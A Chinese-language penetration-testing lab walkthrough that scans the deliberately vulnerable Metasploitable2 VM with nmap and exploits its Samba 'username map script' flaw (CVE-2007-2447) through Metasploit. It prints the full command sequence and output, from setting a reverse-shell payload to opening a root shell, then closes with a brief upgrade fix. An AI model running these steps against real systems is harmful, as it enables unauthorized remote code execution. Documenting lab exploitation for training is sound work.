Metasploitable2虚拟系统是一个特别制作的Ubuntu操作系统，主要用于安全工具测试和演示常见的漏洞攻击。
在如下地址下载 Metasploitable2
https://jaist.dl.sourceforge.net/project/metasploitable/Metasploitable2/
下载之后在VMware打开即可使用。
Metasploitable默认的用户名是 ：msfadmin 密码是： msfadmin
登陆之后使用ip addr 查看ip地址，本例中的IP地址是：192.168.59.132
首先对linux目标机进行扫描，收集可用的服务信息。使用nmap扫描并查看系统开放端口和相关应用程序。
msf5 > nmap -sV 192.168.59.132 [*] exec: nmap -sV 192.168.59.132 Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-09 20:02 CST Nmap scan report for 192.168.59.132 Host is up (0.00025s latency). Not shown: 977 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login? 514/tcp open tcpwrapped 1099/tcp open java-rmi GNU Classpath grmiregistry 1524/tcp open bindshell Metasploitable root shell 2049/tcp open nfs 2-4 (RPC #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 5900/tcp open vnc VNC (protocol 3.3) 6000/tcp open X11 (access denied) 6667/tcp open irc UnrealIRCd 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 MAC Address: 00:0C:29:EF:91:7E (VMware) Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.86 seconds msf5 >
收集到目标相关信息后，为其选择正确的Exploit和合适的payload。从扫描结果中发现目标主机上运行着Samba 3.x服务。
Samba是在linux和unix系统上实现SMB（Server Message Block，信息服务块）协议的一款免费软件。SMB是一种在局域网上共享文件和打印机的通信协议，它在局域网内使用linux和Windows系统的机器之间提供文件及打印机等资源的共享服务。
输入search samba命令搜索samba的漏洞利用模块，并选择合适的漏洞利用模块。
msf5 > search samba Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/smb/samba_symlink_traversal normal No Samba Symlink Directory Traversal 1 auxiliary/dos/samba/lsa_addprivs_heap normal No Samba lsa_io_privilege_set Heap Overflow 2 auxiliary/dos/samba/lsa_transnames_heap normal No Samba lsa_io_trans_names Heap Overflow 3 auxiliary/dos/samba/read_nttrans_ea_list normal No Samba read_nttrans_ea_list Integer Overflow 4 auxiliary/scanner/rsync/modules_list normal No List Rsync Modules 5 auxiliary/scanner/smb/smb_uninit_cred normal Yes Samba _netr_ServerPasswordSet Uninitialized Credential State 6 exploit/freebsd/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (*BSD x86) 7 exploit/linux/samba/chain_reply 2010-06-16 good No Samba chain_reply Memory Corruption (Linux x86) 8 exploit/linux/samba/is_known_pipename 2017-03-24 excellent Yes Samba is_known_pipename() Arbitrary Module Load 9 exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Yes Samba lsa_io_trans_names Heap Overflow 10 exploit/linux/samba/setinfopolicy_heap 2012-04-10 normal Yes Samba SetInformationPolicy AuditEventsInfo Heap Overflow 11 exploit/linux/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Linux x86) 12 exploit/multi/samba/nttrans 2003-04-07 average No Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow 13 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution 14 exploit/osx/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow 15 exploit/osx/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Mac OS X PPC) 16 exploit/solaris/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow 17 exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (Solaris SPARC) 18 exploit/unix/http/quest_kace_systems_management_rce 2018-05-31 excellent Yes Quest KACE Systems Management Command Injection 19 exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC Daemon Command Execution 20 exploit/unix/webapp/citrix_access_gateway_exec 2010-12-21 excellent Yes Citrix Access Gateway Command Execution 21 exploit/windows/fileformat/ms14_060_sandworm 2014-10-14 excellent No MS14-060 Microsoft Windows OLE Package Manager Code Execution 22 exploit/windows/http/sambar6_search_results 2003-06-21 normal Yes Sambar 6 Search Results Buffer Overflow 23 exploit/windows/license/calicclnt_getconfig 2005-03-02 average No Computer Associates License Client GETCONFIG Overflow 24 exploit/windows/smb/group_policy_startup 2015-01-26 manual No Group Policy Script Execution From Shared Resource 25 post/linux/gather/enum_configs normal No Linux Gather Configurations msf5 >
然后Samba服务将返回漏洞利用模块的列表，按照各个漏洞将被利用成功的相对难易度进行排序。
因为exploit/multi/samba/usermap_script被标记为Excellent，即最杰出的，为提高渗透成功率，这里选择此模块进行接下来的渗透。（最好选择excellent并且是最新的漏洞）
有关漏洞的详细信息可以通过info命令查看。
msf5 > info exploit/multi/samba/usermap_script Name: Samba "username map script" Command Execution Module: exploit/multi/samba/usermap_script Platform: Unix Arch: cmd Privileged: Yes License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2007-05-14 Provided by: jduck <jduck@metasploit.com> Available targets: Id Name -- ---- 0 Automatic Check supported: No Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 139 yes The target port (TCP) Payload information: Space: 1024 Description: This module exploits a command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands. No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication! References: https://cvedetails.com/cve/CVE-2007-2447/ OSVDB (34700) http://www.securityfocus.com/bid/23972 http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534 http://samba.org/samba/security/CVE-2007-2447.html msf5 >
输入use命令即可使用该漏洞利用模块。然后可以看到Metasploit命令提示符由msf5 > 变为msf5 exploit(multi/samba/usermap_script) >
msf5 > use exploit/multi/samba/usermap_script msf5 exploit(multi/samba/usermap_script) >
输入show payloads即可查看该漏洞利用模块下可供选择的攻击载荷模块，因为目标机时linux机器，因此一定要选择linux的攻击载荷。
msf5 exploit(multi/samba/usermap_script) > show payloads Compatible Payloads =================== # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK) 1 cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd) 2 cmd/unix/bind_inetd normal No Unix Command Shell, Bind TCP (inetd) 3 cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs) 4 cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua) 5 cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat) 6 cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e) 7 cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6 8 cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl) 9 cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6 10 cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R) 11 cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby) 12 cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6 13 cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat) 14 cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh) 15 cmd/unix/generic normal No Unix Command, Generic Command Execution 16 cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat) 17 cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat) 18 cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet) 19 cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK) 20 cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet) 21 cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs) 22 cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh) 23 cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua) 24 cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat) 25 cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat) 26 cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e) 27 cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl) 28 cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl) 29 cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl) 30 cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php) 31 cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python) 32 cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python) 33 cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R) 34 cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby) 35 cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby) 36 cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat) 37 cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet) 38 cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh) msf5 exploit(multi/samba/usermap_script) >
这里选择基础的cmd/unix/reverse反向攻击载荷模块。并设置目标IP、端口、本地IP等，设置完成后，可以再次确认参数配置是否正确。
msf5 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse PAYLOAD => cmd/unix/reverse msf5 exploit(multi/samba/usermap_script) > show options Module options (exploit/multi/samba/usermap_script): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 139 yes The target port (TCP) Payload options (cmd/unix/reverse): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic msf5 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.59.132 RHOSTS => 192.168.59.132 msf5 exploit(multi/samba/usermap_script) > set RPORT 445 RPORT => 445 msf5 exploit(multi/samba/usermap_script) > set LHOST 192.168.59.128 LHOST => 192.168.59.128 msf5 exploit(multi/samba/usermap_script) > show options Module options (exploit/multi/samba/usermap_script): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.59.132 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 445 yes The target port (TCP) Payload options (cmd/unix/reverse): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.59.128 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic msf5 exploit(multi/samba/usermap_script) >
设置完所有参数变量后，输入攻击命令exploit或者run，发动攻击。
MSF发动攻击成功后会获取目标主机的shell，为了验证该shell是目标主机的，可以查询主机名、用户名和IP地址，并与目标主机进行对比。
msf5 exploit(multi/samba/usermap_script) > exploit [*] Started reverse TCP double handler on 192.168.59.128:4444 [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo MhCC0KHN41rUi5op; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "MhCC0KHN41rUi5op " [*] Matching... [*] A is input... [*] Command shell session 1 opened (192.168.59.128:4444 -> 192.168.59.132:41441) at 2020-05-09 20:16:34 +0800 hostname metasploitable uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ip addr 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000 link/ether 00:0c:29:ef:91:7e brd ff:ff:ff:ff:ff:ff inet 192.168.59.132/24 brd 192.168.59.255 scope global eth0 inet6 fe80::20c:29ff:feef:917e/64 scope link valid_lft forever preferred_lft forever 3: eth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop qlen 1000 link/ether 00:0c:29:ef:91:88 brd ff:ff:ff:ff:ff:ff
防御方法：
Samba服务漏洞发生在Samba版本3.0.20~3.0.25rc3中，当使用非默认用户名映射脚本配置时，通过制动一个用户名包含shell元字符，攻击者可以执行任意命令。将samba升级到最新版本即可防御本漏洞。